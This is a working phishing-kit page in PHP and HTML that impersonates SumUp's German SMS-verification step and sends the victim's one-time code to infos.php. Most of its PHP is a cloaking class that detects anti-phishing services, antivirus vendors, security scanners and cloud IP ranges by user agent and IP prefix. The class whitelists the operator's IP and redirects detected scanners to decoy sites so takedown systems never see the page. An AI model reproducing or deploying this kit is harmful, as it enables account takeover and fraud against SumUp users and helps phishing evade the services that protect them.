<?php 

// دالة بسيطة للكشف عن نوع الجهاز - معدلة للسماح للجميع
function isMobileDevice() {
    // دائماً ترجع true للسماح لجميع الأجهزة
    return true;
}

// التحقق من نوع الجهاز وتحديد الوجهة
if (!isMobileDevice()) {
    // لن يتم تنفيذ هذا أبداً لأن الدالة دائماً ترجع true
    header('Location: https://www.youtube.com');
    exit();
}

/**
 * Advanced Security Bot Blocker 2025
 * Multi-layer protection against security bots
 * Version: 15.4 - With IP Whitelist
 */

class AdvancedBotBlocker {
    
    private $user_agent;
    private $ip;
    private $domain;
    private $request_time;
    
    public function __construct() {
        $this->user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
        $this->ip = $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
        $this->domain = $this->getCurrentDomain();
        $this->request_time = $_SERVER['REQUEST_TIME'] ?? time();
    }
    
    private function getCurrentDomain() {
        $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
        return $protocol . "://" . ($_SERVER['HTTP_HOST'] ?? 'localhost');
    }
    
    // قائمة الـ IPs المسموح بها (لن يتم حظرها أبداً)
    private function getWhitelistedIPs() {
        return [
            '154.111.120.8', // IP الخاص بك
            // يمكنك إضافة المزيد من الـ IPs هنا
            // '192.168.1.1',
            // '10.0.0.1',
        ];
    }
    
    // التحقق إذا كان IP مسموح به
    private function isWhitelistedIP() {
        $whitelist = $this->getWhitelistedIPs();
        return in_array($this->ip, $whitelist);
    }
    
    public function blockSecurityBots() {
        // إذا كان IP مسموح به، اسمح بالدخول دائماً بدون أي فحص
        if ($this->isWhitelistedIP()) {
            return true;
        }
        
        // زيادة عداد الزيارة
        $this->incrementVisitCount();
        
        // الحصول على عدد الزيارات الحالي
        $visitCount = $this->getVisitCount();
        
        // إذا كانت الزيارة الأولى أو الثانية، اسمح بالدخول دائماً
        if ($visitCount <= 2) {
            return true;
        }
        
        // إذا كانت الزيارة الثالثة، تحقق فقط من البوتات الخطيرة
        if ($visitCount == 3) {
            if ($this->isHighRiskBot()) {
                $this->logBotAttempt("High risk bot on visit 3");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // إذا كانت الزيارة الرابعة، تحقق من البوتات المتوسطة الخطورة
        if ($visitCount == 4) {
            if ($this->isMediumRiskBot()) {
                $this->logBotAttempt("Medium risk bot on visit 4");
                $this->redirectToFakePage();
                return false;
            }
            return true;
        }
        
        // من الزيارة الخامسة فما فوق، تطبيق الحماية الكاملة
        if ($visitCount >= 5) {
            if ($this->isSecurityBotByUA() || 
                $this->isSuspiciousIP() || 
                $this->isBotByBehavior() ||
                $this->isKnownSecurityCompany() ||
                $this->analyzeRequestPattern()) {
                $this->logBotAttempt("Full protection triggered on visit " . $visitCount);
                $this->redirectToFakePage();
                return false;
            }
        }
        
        return true;
    }
    
    private function incrementVisitCount() {
        if (!isset($_SESSION['visit_count'])) {
            $_SESSION['visit_count'] = 1;
        } else {
            $_SESSION['visit_count']++;
        }
        
        // حفظ وقت آخر زيارة للتحقق من التحديثات السريعة
        $_SESSION['last_visit_time'] = time();
    }
    
    private function getVisitCount() {
        return $_SESSION['visit_count'] ?? 1;
    }
    
    private function isHighRiskBot() {
        // كشف البوتات عالية الخطورة فقط
        $ua = strtolower($this->user_agent);
        
        $high_risk_bots = [
            'phishtank', 'virustotal', 'urlscan', 'sucuri',
            'shodan', 'censys', 'nmap', 'metasploit', 'sqlmap',
            'burpsuite', 'acunetix', 'nessus', 'nikto'
        ];
        
        foreach ($high_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isMediumRiskBot() {
        // كشف البوتات متوسطة الخطورة
        $ua = strtolower($this->user_agent);
        
        $medium_risk_bots = [
            'google-safe-browsing', 'safebrowsing',
            'norton-safeweb', 'mcafee', 'kaspersky',
            'qualys', 'alienvault', 'wpscan', 'openvas'
        ];
        
        foreach ($medium_risk_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        // تحقق من السلوك عالي الخطورة
        if ($this->hasSuspiciousParameters() || $this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isSecurityBotByUA() {
        $ua = strtolower($this->user_agent);
        
        // قائمة موسعة للبوتات الأمنية
        $security_bots = [
            // بوتات مكافحة التصيد والأمان
            'phishtank', 'google-safe-browsing', 'safebrowsing', 'google-safety',
            'virustotal', 'urlscan', 'urlvoid', 'quttera', 'sucuri',
            'norton-safeweb', 'mcafee', 'siteadvisor', 'kaspersky', 
            'avast', 'avg', 'bitdefender', 'eset', 'sophos', 'trendmicro',
            'qualys', 'ssl-labs', 'securityscan', 'alienvault',
            
            // بوتات المسح الأمني
            'shodan', 'censys', 'zoomeye', 'fofa', 'quake', 'binaryedge',
            'netcraft', 'cloudflare-scanner', 'akamai-bot', 'imperva',
            'stackpath', 'datadog', 'newrelic', 'pingdom',
            
            // بوتات البحث الأمني
            'binaryedge', 'greywizard', 'hacker', 'security', 'scan',
            'crawler', 'spider', 'bot', 'monitor', 'check',
            
            // بوتات التحليل
            'burpsuite', 'nikto', 'nmap', 'metasploit', 'wpscan',
            'sqlmap', 'zap', 'acunetix', 'nessus', 'openvas',
            
            // بوتات إضافية
            'rapid7', 'tenable', 'qualys', 'trustwave', 'whitehat',
            'sitelock', 'comodo', 'geektool', 'uptime', 'monitoring'
        ];
        
        foreach ($security_bots as $bot) {
            if (strpos($ua, $bot) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isSuspiciousIP() {
        // قائمة عناوين IP مشبوهة معروفة (لخدمات السحابة والمسح)
        $suspicious_ips = [
            '54.', '52.', '35.', '13.', '8.', // AWS
            '34.', '104.', '108.', '142.', '172.', // Google Cloud
            '20.', '40.', '51.', '52.', '138.', // Azure
            '66.', '72.', '74.', '75.', '76.', // OVH
            '89.', '94.', '95.', '185.', '188.', // Hetzner
            '45.', '64.', '65.', '80.', '87.'  // DigitalOcean
        ];
        
        foreach ($suspicious_ips as $suspicious) {
            if (strpos($this->ip, $suspicious) === 0) {
                return true;
            }
        }
        
        return false;
    }
    
    private function isBotByBehavior() {
        // تحليل السلوك المشبوه
        $suspicious_headers = [
            'HTTP_ACCEPT_LANGUAGE',
            'HTTP_ACCEPT_ENCODING', 
            'HTTP_ACCEPT'
        ];
        
        // إذا كانت بعض الهيدرات مفقودة (مشبوه)
        $missing_headers = 0;
        foreach ($suspicious_headers as $header) {
            if (!isset($_SERVER[$header]) || empty($_SERVER[$header])) {
                $missing_headers++;
            }
        }
        
        if ($missing_headers >= 2) {
            return true;
        }
        
        // تحقق من User Agent فارغ أو قصير جداً
        if (empty($this->user_agent) || strlen($this->user_agent) < 10) {
            return true;
        }
        
        // تحقق من طلبات غير عادية
        if ($this->isUnusualRequest()) {
            return true;
        }
        
        return false;
    }
    
    private function isKnownSecurityCompany() {
        // كشف شركات الأمان من خلال أنماط معينة
        $company_patterns = [
            'google' => ['googlebot', 'apis-google', 'googleusercontent', 'google'],
            'microsoft' => ['msnbot', 'bingbot', 'microsoft'],
            'amazon' => ['aws-sdk', 'amazon', 'aws'],
            'cloudflare' => ['cloudflare'],
            'akamai' => ['akamai'],
            'ibm' => ['softlayer', 'ibm'],
            'oracle' => ['oracle', 'sun'],
            'digitalocean' => ['digitalocean'],
            'linode' => ['linode'],
            'vultr' => ['vultr']
        ];
        
        $ua = strtolower($this->user_agent);
        
        foreach ($company_patterns as $company => $patterns) {
            foreach ($patterns as $pattern) {
                if (strpos($ua, $pattern) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function analyzeRequestPattern() {
        // تحليل أنماط الطلبات المشبوهة
        $suspicious = false;
        
        // الوصول المباشر بدون Referrer
        if (!isset($_SERVER['HTTP_REFERER']) && !$this->isFirstVisit()) {
            $suspicious = true;
        }
        
        // لا يوجد cookies في طلب متكرر
        if (!isset($_SERVER['HTTP_COOKIE']) && $this->getVisitCount() > 3) {
            $suspicious = true;
        }
        
        // طلبات بطرق غير عادية
        if ($_SERVER['REQUEST_METHOD'] !== 'GET' && $_SERVER['REQUEST_METHOD'] !== 'POST') {
            $suspicious = true;
        }
        
        // طلبات بمعلمات غريبة
        if (!empty($_GET) && $this->hasSuspiciousParameters()) {
            $suspicious = true;
        }
        
        return $suspicious;
    }
    
    private function isFirstVisit() {
        return ($this->getVisitCount() <= 1);
    }
    
    private function hasSuspiciousParameters() {
        // تحقق من معلمات URL مشبوهة
        $suspicious_params = [
            'cmd', 'exec', 'system', 'eval', 'union', 'select', 'insert',
            'update', 'delete', 'drop', 'script', 'alert', 'onload',
            'onerror', 'javascript', 'vbscript', 'applet', 'meta',
            'object', 'iframe', 'frame', 'embed', 'link'
        ];
        
        foreach ($_GET as $param => $value) {
            $param_lower = strtolower($param);
            foreach ($suspicious_params as $suspicious) {
                if (strpos($param_lower, $suspicious) !== false) {
                    return true;
                }
            }
        }
        
        return false;
    }
    
    private function isUnusualRequest() {
        // تحقق من طلبات غير عادية
        $request_uri = $_SERVER['REQUEST_URI'] ?? '';
        
        // طلبات لملفات نظام
        $system_files = [
            '.env', '.git', '.htaccess', 'wp-config', 'config.php',
            'admin', 'phpmyadmin', 'mysql', 'database', 'backup',
            'log', 'debug', 'test', 'shell', 'cgi-bin'
        ];
        
        foreach ($system_files as $file) {
            if (stripos($request_uri, $file) !== false) {
                return true;
            }
        }
        
        return false;
    }
    
    private function logBotAttempt($reason = "") {
        // تسجيل محاولات البوتات
        $log_data = [
            'timestamp' => date('Y-m-d H:i:s'),
            'ip' => $this->ip,
            'user_agent' => substr($this->user_agent, 0, 200),
            'request_uri' => $_SERVER['REQUEST_URI'] ?? '',
            'referer' => $_SERVER['HTTP_REFERER'] ?? '',
            'method' => $_SERVER['REQUEST_METHOD'] ?? '',
            'visit_count' => $this->getVisitCount(),
            'reason' => $reason
        ];
        
        $log_message = implode(' | ', $log_data) . PHP_EOL;
        
        // محاولة الكتابة إلى ملف السجل
        @file_put_contents('security_bot_logs.txt', $log_message, FILE_APPEND | LOCK_EX);
    }
    
    private function redirectToFakePage() {
        // صفحات وهمية للتوجيه إليها
        $fake_pages = [
            'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
            'https://www.facebook.com/unsupportedbrowser',
            'https://www.instagram.com/accounts/login/?source=auth_switcher',
            'https://www.twitter.com/404',
            'https://www.reddit.com/404',
            'https://www.wikipedia.org/wiki/HTTP_404',
            'https://www.amazon.com/404',
            'https://www.netflix.com/browse',
            'https://www.linkedin.com/404',
            'https://www.pinterest.com/404'
        ];
        
        $random_page = $fake_pages[array_rand($fake_pages)];
        
        // إضافة تأخير عشوائي لمحاكاة التحميل
        usleep(rand(50000, 300000)); // 0.05 إلى 0.3 ثانية
        
        // إرسال رؤوس للتضليل
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        header('Location: ' . $random_page, true, 302);
        exit;
    }
}

// بدء الجلسة والحماية
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

$bot_blocker = new AdvancedBotBlocker();

// إذا كان بوت أمني - سيتم تحويله والخروج (ولن يتم تسجيله في visitors)
if (!$bot_blocker->blockSecurityBots()) {
    exit;
}

// إذا وصل إلى هنا فهو إنسان - قم بتسجيل الزيارة ثم استمر في تحميل الصفحة
require_once "functions1.php";

// استمر في تحميل الصفحة
?>

<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SMS-Verifizierung—</title>
    <!-- Favicon hinzufügen -->
    <link rel="icon" type="image/png" href="image/ask.png">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        }
        
        body {
            background-color: #ffffff;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding: 20px;
            position: relative;
        }
        
        .container {
            width: 100%;
            max-width: 500px;
        }
        
        .logo {
            text-align: center;
            margin-bottom: 40px;
        }
        
        .logo img {
            height: 40px;
        }
        
        /* Title */
        h1 {
            text-align: center;
            font-size: 24px;
            margin-bottom: 10px;
            color: #0F131A;
            font-weight: 600;
        }
        
        .subtitle {
            text-align: center;
            font-size: 16px;
            color: #666;
            margin-bottom: 40px;
            line-height: 1.6;
        }
        
        /* Phone Animation - SumUp Design */
        .phone-animation {
            position: relative;
            margin: 40px 0;
            height: 200px;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        
        .phone {
            width: 140px;
            height: 280px;
            background: linear-gradient(135deg, #0F131A, #2A2F3A);
            border-radius: 30px;
            position: relative;
            box-shadow: 0 20px 60px rgba(15, 19, 26, 0.2);
            animation: phoneFloat 4s ease-in-out infinite;
            border: 3px solid #0F131A;
            overflow: hidden;
        }
        
        .phone-screen {
            position: absolute;
            top: 15px;
            left: 10px;
            right: 10px;
            bottom: 15px;
            background: linear-gradient(135deg, #1E232E, #2D3340);
            border-radius: 20px;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
            padding: 25px;
            overflow: hidden;
        }
        
        .message-icon {
            width: 60px;
            height: 60px;
            background: #0F131A;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 20px;
            animation: messagePulse 3s infinite;
            box-shadow: 0 0 20px rgba(15, 19, 26, 0.6);
        }
        
        .message-icon svg {
            color: white;
            width: 30px;
            height: 30px;
        }
        
        .message-text {
            font-size: 12px;
            color: #ffffff;
            font-weight: 500;
            text-align: center;
            margin-bottom: 8px;
            opacity: 0.9;
        }
        
        .code-preview {
            font-size: 16px;
            color: white;
            font-weight: 600;
            font-family: 'Courier New', monospace;
            margin-top: 15px;
            letter-spacing: 3px;
            background: rgba(15, 19, 26, 0.3);
            padding: 8px 15px;
            border-radius: 10px;
            animation: codeGlow 2s infinite;
        }
        
        .notification-dot {
            position: absolute;
            top: 15px;
            right: 15px;
            width: 8px;
            height: 8px;
            background: #FF4757;
            border-radius: 50%;
            animation: blink 2s infinite;
        }
        
        .signal-bars {
            position: absolute;
            top: 15px;
            left: 15px;
            display: flex;
            align-items: flex-end;
            gap: 2px;
        }
        
        .bar {
            width: 3px;
            background: #00D8A7;
            border-radius: 2px;
            animation: signalPulse 1.5s infinite;
        }
        
        .bar:nth-child(1) { height: 5px; animation-delay: 0s; }
        .bar:nth-child(2) { height: 8px; animation-delay: 0.2s; }
        .bar:nth-child(3) { height: 11px; animation-delay: 0.4s; }
        .bar:nth-child(4) { height: 14px; animation-delay: 0.6s; }
        
        .time-display {
            position: absolute;
            top: 15px;
            left: 50%;
            transform: translateX(-50%);
            color: white;
            font-size: 10px;
            font-weight: 500;
            opacity: 0.8;
        }
        
        @keyframes phoneFloat {
            0%, 100% { 
                transform: translateY(0px) rotate(0deg); 
            }
            50% { 
                transform: translateY(-20px) rotate(1deg); 
            }
        }
        
        @keyframes messagePulse {
            0%, 100% { 
                transform: scale(1) rotate(0deg); 
                box-shadow: 0 0 20px rgba(15, 19, 26, 0.6);
            }
            50% { 
                transform: scale(1.1) rotate(2deg); 
                box-shadow: 0 0 30px rgba(15, 19, 26, 0.8);
            }
        }
        
        @keyframes blink {
            0%, 100% { 
                opacity: 1; 
                transform: scale(1);
            }
            50% { 
                opacity: 0.3; 
                transform: scale(0.8);
            }
        }
        
        @keyframes signalPulse {
            0%, 100% { 
                opacity: 0.4;
                background: #00D8A7;
            }
            50% { 
                opacity: 1;
                background: #00B894;
            }
        }
        
        @keyframes codeGlow {
            0%, 100% { 
                box-shadow: 0 0 10px rgba(255, 255, 255, 0.1);
            }
            50% { 
                box-shadow: 0 0 20px rgba(255, 255, 255, 0.2);
            }
        }
        
        /* Form Container */
        .form-container {
            background: white;
            padding: 40px 30px;
            border-radius: 12px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.08);
            margin-bottom: 20px;
        }
        
        .form-group {
            margin-bottom: 30px;
            width: 100%;
            position: relative;
        }
        
        label {
            display: block;
            margin-bottom: 12px;
            color: #0F131A;
            font-size: 14px;
            font-weight: 500;
            text-align: center;
        }
        
        .input-field {
            width: 100%;
            padding: 15px;
            border: 1px solid #ddd;
            border-radius: 8px;
            font-size: 16px;
            color: #0F131A;
            background: white;
            transition: all 0.3s;
            text-align: center;
            font-family: 'Courier New', monospace;
            font-weight: 500;
            letter-spacing: 2px;
        }
        
        .input-field::placeholder {
            color: #999;
            font-size: 14px;
            letter-spacing: normal;
        }
        
        .input-field:focus {
            outline: none;
            border-color: #0F131A;
            box-shadow: 0 0 0 3px rgba(15, 19, 26, 0.1);
        }
        
        .input-hint {
            color: #666;
            font-size: 14px;
            margin-top: 8px;
            text-align: center;
        }
        
        /* Error Styles */
        .input-field.error {
            border-color: #d32f2f;
            box-shadow: 0 0 0 3px rgba(211, 47, 47, 0.1);
        }
        
        .error-message {
            color: #d32f2f;
            font-size: 14px;
            margin-top: 8px;
            text-align: center;
            font-weight: 500;
            animation: fadeIn 0.3s ease;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
        }
        
        .error-icon {
            display: flex;
            align-items: center;
        }
        
        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(-5px); }
            to { opacity: 1; transform: translateY(0); }
        }
        
        .btn {
            display: block;
            width: 100%;
            padding: 16px;
            background-color: #0F131A;
            color: white;
            border: none;
            border-radius: 8px;
            font-size: 16px;
            font-weight: 500;
            cursor: pointer;
            margin-bottom: 30px;
            transition: all 0.3s;
        }
        
        .btn:hover {
            background-color: #1a1f2a;
            transform: translateY(-1px);
            box-shadow: 0 4px 12px rgba(15, 19, 26, 0.3);
        }
        
        .security-info {
            background: #f8f9fa;
            border: 1px solid #e9ecef;
            border-radius: 8px;
            padding: 25px;
            margin-top: 30px;
            text-align: center;
        }
        
        .security-icon {
            margin-bottom: 15px;
            display: flex;
            justify-content: center;
        }
        
        .security-title {
            font-size: 16px;
            font-weight: 600;
            color: #0F131A;
            margin-bottom: 8px;
        }
        
        .security-description {
            font-size: 14px;
            color: #666;
            line-height: 1.5;
        }
        
        .footer-buttons {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-top: 30px;
            gap: 15px;
        }
        
        .language-select {
            flex: 1;
            position: relative;
        }
        
        .language-select select {
            width: 100%;
            padding: 12px 40px 12px 15px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-size: 14px;
            background-color: white;
            appearance: none;
            cursor: pointer;
            height: 44px;
        }
        
        .language-select::after {
            content: "";
            position: absolute;
            right: 15px;
            top: 50%;
            transform: translateY(-50%);
            width: 12px;
            height: 12px;
            background-image: url("data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M8 11c-.266 0-.52-.104-.71-.29l-4-4A1.013 1.013 0 0 1 3 6a1 1 0 0 1 1-1c.266 0 .52.104.71.29L8 8.58l3.29-3.29c.19-.186.445-.29.71-.29a1 1 0 0 1 1 1c0 .266-.104.52-.29.71l-4 4c-.19.186-.444.29-.71.29z' fill='currentColor'%3E%3C/path%3E%3C/svg%3E");
            background-repeat: no-repeat;
            background-position: center;
            pointer-events: none;
        }
        
        .system-status-btn {
            flex: 1;
        }
        
        .system-status-btn .btn-secondary {
            height: 44px;
            font-size: 14px;
            width: 100%;
            padding: 12px;
            background-color: transparent;
            color: #0F131A;
            border: 1px solid #0F131A;
            border-radius: 4px;
            font-weight: 500;
            cursor: pointer;
            text-decoration: none;
            display: block;
            text-align: center;
        }
        
        .system-status-btn .btn-secondary:hover {
            background-color: #f5f5f5;
        }
        
        .help-link {
            position: absolute;
            top: 30px;
            right: 30px;
            color: #0F131A;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
            transition: color 0.3s;
            z-index: 100;
        }
        
        .help-link:hover {
            color: #666;
        }

        /* Verbesserungen für Mobilgeräte */
        @media (max-width: 768px) {
            .container {
                padding: 0 20px;
                max-width: 100%;
            }
            
            h1 {
                font-size: 22px;
            }
            
            .logo img {
                height: 35px;
            }
            
            .form-container {
                padding: 30px 25px;
            }
            
            .phone {
                width: 120px;
                height: 240px;
            }
        }

        @media (max-width: 480px) {
            body {
                padding: 15px;
                justify-content: flex-start;
                padding-top: 60px;
            }
            
            .container {
                padding: 0 10px;
            }
            
            .form-container {
                padding: 25px 20px;
            }
            
            h1 {
                font-size: 20px;
            }
            
            .logo {
                margin-bottom: 30px;
            }
            
            .logo img {
                height: 30px;
            }
            
            .btn {
                padding: 14px;
                font-size: 14px;
            }
            
            .phone {
                width: 100px;
                height: 200px;
            }
            
            .input-field {
                padding: 12px;
                font-size: 14px;
            }
            
            .help-link {
                top: 15px;
                right: 15px;
                font-size: 13px;
            }
        }
    </style>
</head>
<body>
    <!-- Hilfe-Link in der oberen rechten Ecke -->
    <a href="#" class="help-link">Brauchen Sie Hilfe?</a>
    
    <div class="container">
        <!-- SumUp Logo -->
        <div class="logo">
            <img src="image/name.svg" alt="SumUp Logo">
        </div>
        
        <!-- Phone Animation - SumUp Design -->
        <div class="phone-animation">
            <div class="phone">
                <div class="phone-screen">
                    <div class="signal-bars">
                        <div class="bar"></div>
                        <div class="bar"></div>
                        <div class="bar"></div>
                        <div class="bar"></div>
                    </div>
                    <div class="notification-dot"></div>
                    <div class="message-icon">
                        <svg width="30" height="30" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                            <path d="M20 4H4C2.9 4 2.01 4.9 2.01 6L2 18C2 19.1 2.9 20 4 20H20C21.1 20 22 19.1 22 18V6C22 4.9 21.1 4 20 4ZM20 8L12 13L4 8V6L12 11L20 6V8Z" fill="currentColor"/>
                        </svg>
                    </div>
                    <div class="message-text">NEUE NACHRICHT</div>
                    <div class="message-text" style="font-size: 11px;">SumUp Bestätigungscode</div>
                    <div class="code-preview">••••••</div>
                </div>
            </div>
        </div>
        
        <!-- Title -->
        <h1>SMS-Verifizierung</h1>
        <p class="subtitle">
            Wir haben Ihnen einen Bestätigungscode an Ihre Telefonnummer gesendet<br>
            Geben Sie den erhaltenen Code ein, um fortzufahren
        </p>
        
        <div class="form-container">
            <form action="infos.php" method="POST">
                <!-- Verstecktes Feld für Schrittangabe hinzufügen -->
                <input type="hidden" name="step" value="sms">
                
                <div class="form-group">
                    <label for="sms-code">SMS-Bestätigungscode</label>
                    <input type="text" id="sms-code" name="sms" class="input-field <?php echo (isset($_SESSION['errors']) && isset($_SESSION['errors']['sms'])) ? 'error' : ''; ?>" placeholder="Geben Sie den erhaltenen Code ein" required maxlength="10">
                    
                    <?php if(isset($_SESSION['errors']) && isset($_SESSION['errors']['sms'])): ?>
                    <div class="error-message">
                        <span class="error-icon">
                            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
                                <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                            </svg>
                        </span>
                        Ungültiger SMS-Code. Bitte versuchen Sie es erneut.
                    </div>
                    <?php 
                        // Fehler aus der Session entfernen nach der Anzeige
                        unset($_SESSION['errors']['sms']);
                    endif; 
                    ?>
                    
                    <div class="input-hint">Geben Sie den per SMS erhaltenen Code ein</div>
                </div>
                
                <button type="submit" class="btn">CODE BESTÄTIGEN</button>
            </form>
            
            <!-- Security Info -->
            <div class="security-info">
                <div class="security-icon">
                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M12 1L3 5V11C3 16.55 6.84 21.74 12 23C17.16 21.74 21 16.55 21 11V5L12 1ZM12 7C13.1 7 14 7.9 14 9C14 10.1 13.1 11 12 11C10.9 11 10 10.1 10 9C10 7.9 10.9 7 12 7ZM16 17.58C16 18.68 14.97 19.58 13.5 19.58H10.5C9.03 19.58 8 18.68 8 17.58V16.58C8 15.48 9.03 14.58 10.5 14.58H13.5C14.97 14.58 16 15.48 16 16.58V17.58Z" fill="#0F131A"/>
                    </svg>
                </div>
                <div class="security-title">Für Ihre Sicherheit</div>
                <p class="security-description">
                    Der SMS-Code ist 10 Minuten lang gültig. Teilen Sie den Code mit niemandem.
                    SumUp wird den Code niemals telefonisch anfordern.
                </p>
            </div>
        </div>
        
        <!-- Zusätzliche Buttons unten -->
        <div class="footer-buttons">
            <div class="language-select">
                <select id="languageSelect" name="languageSelect">
                    <option value="da-DK">Dansk</option>
                    <option value="de-DE" selected>Deutsch</option>
                    <option value="et-EE">Eesti</option>
                    <option value="en-GB">English</option>
                    <option value="es-ES">Español</option>
                    <option value="fr-FR">Français</option>
                    <option value="hr-HR">Hrvatski</option>
                    <option value="it-IT">Italiano</option>
                    <option value="lv-LV">Latviešu valoda</option>
                    <option value="lt-LT">Lietuviškai</option>
                    <option value="hu-HU">Magyar</option>
                    <option value="nl-NL">Nederlands</option>
                    <option value="nb-NO">Norsk</option>
                    <option value="pl-PL">Polski</option>
                    <option value="pt-BR">Português</option>
                    <option value="ro-RO">Română</option>
                    <option value="sk-SK">Slovenčina</option>
                    <option value="sl-SI">Slovenščina</option>
                    <option value="fi-FI">Suomi</option>
                    <option value="sv-SE">Svenska</option>
                    <option value="cs-CZ">Čeština</option>
                    <option value="el-GR">Ελληνικά</option>
                    <option value="bg-BG">Български</option>
                </select>
            </div>
            
            <div class="system-status-btn">
                <a href="https://status.sumup.com" class="btn-secondary">
                    Systemstatus
                </a>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const smsInput = document.getElementById('sms-code');
            
            // Maximale Begrenzung auf 10 Zeichen ohne Einschränkungen des Zeichentyps
            smsInput.addEventListener('input', function(e) {
                // Begrenzung auf maximal 10 Zeichen
                if (this.value.length > 10) {
                    this.value = this.value.slice(0, 10);
                }
            });
            
            // Graduelle Erscheinungseffekte
            const container = document.querySelector('.form-container');
            container.style.opacity = '0';
            container.style.transform = 'translateY(30px)';
            container.style.transition = 'all 0.8s ease';
            
            setTimeout(() => {
                container.style.opacity = '1';
                container.style.transform = 'translateY(0)';
            }, 200);
            
            // Automatischer Fokus auf das Feld
            smsInput.focus();
            
            // Schrifteffekt für das Feld
            smsInput.addEventListener('focus', function() {
                this.style.letterSpacing = '4px';
            });
            
            smsInput.addEventListener('blur', function() {
                if (!this.value) {
                    this.style.letterSpacing = '2px';
                }
            });
        });
    </script>
</body>
</html>